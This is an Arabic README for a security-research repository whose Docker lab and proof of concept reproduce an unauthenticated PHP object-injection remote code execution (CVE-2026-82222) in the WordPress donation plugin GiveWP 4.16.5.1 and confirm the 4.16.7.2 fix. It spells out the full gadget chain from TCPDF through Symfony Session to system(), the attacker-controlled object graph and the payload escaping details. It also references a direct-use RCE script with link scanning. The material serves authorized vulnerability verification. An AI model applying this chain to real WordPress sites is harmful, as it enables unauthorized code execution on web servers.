
# مختبر Docker مصرح به وPoC نظيف للتحقق من CVE-2026-82222 RCE في GiveWP 4.16.5.1 وإصلاح 4.16.7.2.
مواد بحث أمني لإعادة إنتاج والتحقق من CVE-2026-82222 في مختبر Docker معزول.
للاستخدام المباشر لـ RCE PoC وفحص الروابط استخدم CVE-2026-8222-RCE.py
الحالة: مُثبت في المختبر المقدم
يسمح GiveWP 4.16.5.1 لمهاجم غير مُصادق مبدئيًا بتخزين مخطط كائنات PHP، وإحيائه عبر معالجة جلسات GiveWP، وتنفيذ أمر علامة ثابت كمستخدم خادم الويب في WordPress.
النتيجة الإيجابية المُختبرة:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
كما تم إعادة إنتاج النتيجة من البداية إلى النهاية ضد مصدر GiveWP 4.16.5.1 الأصلي غير المُجهز. قام GiveWP 4.16.7.2 بحظر الناقل عبر HTTP في الإعداد المُختبر وحظر أداة الطرفية بشكل مستقل أثناء التحكم المباشر.
هذا يُثبت تنفيذ أوامر داخل حاوية WordPress. لا يُثبت الوصول الجذري، أو الهروب من الحاوية، أو الحركة الجانبية، أو اختراق المضيف.
استخدم هذا المستودع فقط على الأنظمة التي تملكها أو مُصرح لك صراحةً باختبارها.
إن PoC المقدم مقيد عمدًا:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.يُنشئ اختبار HTTP مستخدم متبرع مؤقتًا، وبيانات وصفية، وصفوف جلسات GiveWP. استخدم أمر إعادة التعيين المرفق بعد الاختبار.
المتطلبات:
curlunzipsha256sum أو shasumdownloads.wordpress.org لأرشيفات الإضافات الرسميةشغّل مصفوفة الضعيف/المصحح الكاملة:
./lab verify
يقوم الأمر بـ:
ProviderForwarder الطرفية المصححة ترفض أيضًا الاستدعاء النصي.يبقى المختبر المصحح قيد التشغيل في النهاية. أزله باستخدام:
./lab reset
لاستخدام منفذ loopback آخر:
LAB_PORT=8099 ./lab verify
يجب أن ينتهي التحكم الضعيف بأدلة طرفية ملموسة:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
يجب أن يُظهر التحكم المصحح:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
إن HTTP 500، أو حمولة مخزنة، أو استثناء، أو إصابة كاشف بدون العلامة لا يُقبل كدليل على RCE.
ابدأ واختبر الإصدار الضعيف:
./lab start vulnerable
./lab test
ابدأ واختبر الإصدار المصحح:
./lab start patched
./lab test
افحص الحالة الحالية:
./lab status
أزل الحاويات، ووحدات التخزين، ومستخدمي الاختبار، والجلسات، وحالة العلامة:
./lab reset
يتم الاحتفاظ بملفات ZIP المخزنة مؤقتًا للإضافات والأصول المستخرجة لإعادة تشغيل أسرع. أزل تلك الأصول المُولدة المحددة أيضًا باستخدام:
./lab reset --purge-assets
| الإصدار | التقييم |
|---|---|
| GiveWP 4.16.5.1 | تم إعادة إنتاج RCE من البداية إلى النهاية |
| GiveWP 4.16.6–4.16.7.1 | مُبلغ عنه كمتأثر؛ لم يتم إعادة إنتاجه بشكل فردي هنا |
| GiveWP 4.16.7.2 | تم إعادة إنتاج الضوابط السلبية المصححة |
| الإصدارات الأحدث | لم يتم اختبارها بشكل فردي؛ قم بالتحديث إلى أحدث إصدار مدعوم |
يحدد الاستشارة العامة الإصدارات حتى 4.16.7.1 كمتأثرة. يُثبت هذا المستودع بشكل مباشر فقط الإصدارين في مصفوفة الاختبار الإيجابي/السلبي الخاصة به.
المراجع:
يجمع الاستغلال بين عدة سلوكيات:
Give\Helpers\Utils::maybeSafeUnserialize() قيمة allowed_classes => false، مما يُنتج __PHP_Incomplete_Class، لكن تسلسلًا لاحقًا يحافظ على أسماء الفئات والخصائص الأصلية.maybe_unserialize() غير المقيد لاحقًا بإحياء الفئات المرفقة.system().أربعة شرطات مائلة عكسية حرفية لمساحات الأسماء مطلوبة في الناقل عبر HTTP. تمريرات التجريد الفعالة تقللها 4 -> 2 -> 1. الحمولة خالية من NUL، وتم التحقق من أن PHP 8.1.30 يرطب الاسم المُسلسل العادي لخاصية Session::$attributeName الخاصة.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
المخطط المتحكم به من قبل المهاجم:
TCPDF
├── file_id = معرّف طلب فريد
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = أمر العلامة الثابت
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
الانتقال الحرج الخفي هو توجيه PHP الضمني لـ IteratorAggregate. TCPDF::$imagekeys غير مُنمط، لذا فإن تعيين Session من Symfony يؤدي إلى استدعاء foreach لـ Session::getIterator().
يتم تنفيذ أمر العلامة قبل أن يفرض Symfony نوع الإرجاع
getAttributeBag(): AttributeBagInterface. إن TypeError الناتج و HTTP 500 هما تأثيرات لاحقة للمصرف (post-sink).
استخدم المخطط المرشح المرفوض:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
لا يمكن أن يعمل هذا المخطط. TCPDF::_destroy() يقوم فقط بإلغاء تعيين objcopy؛ ولا يقوم PHP بتوجيه التدمير التلقائي عبر __call('__destruct', ...).
العملية المفقودة كانت:
foreach ($this->imagekeys as $file) {
راجعت المراجعة السابقة المُدمِرات واستدعاءات الطرق الصريحة ولكنها لم تفحص بشكل متكرر بروتوكول الكائن الضمني الذي يُطلق بواسطة foreach. توفر Session من Symfony الجسر المفقود:
foreach دالة getIterator().getIterator() إلى getBag($attributeName).storage المتحكم به من قبل المهاجم هو DonationFactory.getBag غير المعرّف ProviderForwarder::__call().loadedProviders['getBag'] = 'system' الاستدعاء.attributeName وسيطة الأمر.مواقع GiveWP 4.16.5.1 ذات الصلة: